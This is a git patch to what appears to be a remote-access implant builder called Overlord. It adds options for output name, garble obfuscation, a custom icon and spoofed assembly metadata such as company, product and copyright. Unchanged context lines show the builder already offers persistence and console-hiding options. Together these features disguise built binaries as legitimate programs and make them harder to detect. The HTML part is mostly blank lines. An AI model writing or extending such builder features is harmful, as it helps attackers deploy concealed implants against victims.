From 7f82737fbc3810589e7ae483195e39c9e1b5fa8d Mon Sep 17 00:00:00 2001
From: unknown
Date: Mon, 16 Mar 2026 14:09:06 +0100
Subject: [PATCH] Add custom output name, assembly data, icon, and garble
settings to builder
---
Overlord-Server/public/assets/build.js | 66 +++++++
Overlord-Server/public/build.html | 82 +++++++++
Overlord-Server/src/build/types.ts | 10 +
Overlord-Server/src/certGenerator.ts | 8 +-
Overlord-Server/src/server/build-process.ts | 172 ++++++++++++++++--
.../src/server/routes/build-routes.ts | 35 ++++
6 files changed, 351 insertions(+), 22 deletions(-)
diff --git a/Overlord-Server/public/assets/build.js b/Overlord-Server/public/assets/build.js
index 88868dc..b35972a 100644
--- a/Overlord-Server/public/assets/build.js
+++ b/Overlord-Server/public/assets/build.js
@@ -91,6 +91,52 @@ if (persistenceCheckbox && persistenceMethodContainer) {
});
}
+const obfuscateCheckbox = document.querySelector('input[name="obfuscate"]');
+const garbleSettingsContainer = document.getElementById("garble-settings-container");
+if (obfuscateCheckbox && garbleSettingsContainer) {
+ obfuscateCheckbox.addEventListener("change", () => {
+ if (obfuscateCheckbox.checked) {
+ garbleSettingsContainer.classList.remove("hidden");
+ } else {
+ garbleSettingsContainer.classList.add("hidden");
+ }
+ });
+}
+
+let pendingIconBase64 = null;
+const iconUpload = document.getElementById("icon-upload");
+const iconLabel = document.getElementById("icon-label");
+const iconClear = document.getElementById("icon-clear");
+
+if (iconUpload) {
+ iconUpload.addEventListener("change", () => {
+ const file = iconUpload.files[0];
+ if (!file) return;
+ if (file.size > 1024 * 1024) {
+ alert("Icon file must be under 1MB");
+ iconUpload.value = "";
+ return;
+ }
+ const reader = new FileReader();
+ reader.onload = () => {
+ const base64 = reader.result.split(",")[1];
+ pendingIconBase64 = base64;
+ if (iconLabel) iconLabel.textContent = file.name;
+ if (iconClear) iconClear.classList.remove("hidden");
+ };
+ reader.readAsDataURL(file);
+ });
+}
+
+if (iconClear) {
+ iconClear.addEventListener("click", () => {
+ pendingIconBase64 = null;
+ if (iconUpload) iconUpload.value = "";
+ if (iconLabel) iconLabel.textContent = "Choose .ico file";
+ iconClear.classList.add("hidden");
+ });
+}
+
async function init() {
try {
updateServerUrlPlaceholder();
@@ -215,6 +261,16 @@ form?.addEventListener("submit", async (e) => {
'input[name="no-printing"]',
).checked;
+ const outputNameVal = form.querySelector("#output-name")?.value.trim() || "";
+ const garbleLiterals = form.querySelector('input[name="garble-literals"]')?.checked || false;
+ const garbleTiny = form.querySelector('input[name="garble-tiny"]')?.checked || false;
+ const garbleSeedVal = form.querySelector("#garble-seed")?.value.trim() || "";
+ const assemblyTitle = form.querySelector("#assembly-title")?.value.trim() || "";
+ const assemblyProduct = form.querySelector("#assembly-product")?.value.trim() || "";
+ const assemblyCompany = form.querySelector("#assembly-company")?.value.trim() || "";
+ const assemblyVersion = form.querySelector("#assembly-version")?.value.trim() || "";
+ const assemblyCopyright = form.querySelector("#assembly-copyright")?.value.trim() || "";
+
const buildConfig = {
platforms,
serverUrl: serverUrl || undefined,
@@ -228,6 +284,16 @@ form?.addEventListener("submit", async (e) => {
persistenceMethod: enablePersistence ? persistenceMethod : undefined,
hideConsole,
noPrinting,
+ outputName: outputNameVal || undefined,
+ garbleLiterals: obfuscate ? garbleLiterals : undefined,
+ garbleTiny: obfuscate ? garbleTiny : undefined,
+ garbleSeed: obfuscate && garbleSeedVal ? garbleSeedVal : undefined,
+ assemblyTitle: assemblyTitle || undefined,
+ assemblyProduct: assemblyProduct || undefined,
+ assemblyCompany: assemblyCompany || undefined,
+ assemblyVersion: assemblyVersion || undefined,
+ assemblyCopyright: assemblyCopyright || undefined,
+ iconBase64: pendingIconBase64 || undefined,
};
const hasAndroid = platforms.some(p => p.startsWith('android-'));
diff --git a/Overlord-Server/public/build.html b/Overlord-Server/public/build.html
index fa69c49..bc390c6 100644
--- a/Overlord-Server/public/build.html
+++ b/Overlord-Server/public/build.html
@@ -231,6 +231,23 @@
+
+
+
+
+
+ Optional: Custom name prefix for output binaries (letters, numbers, . _ - only)
+
+
+
+
+
+
+
+
+
+
+
+
+
Alphanumeric seed for reproducible builds
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+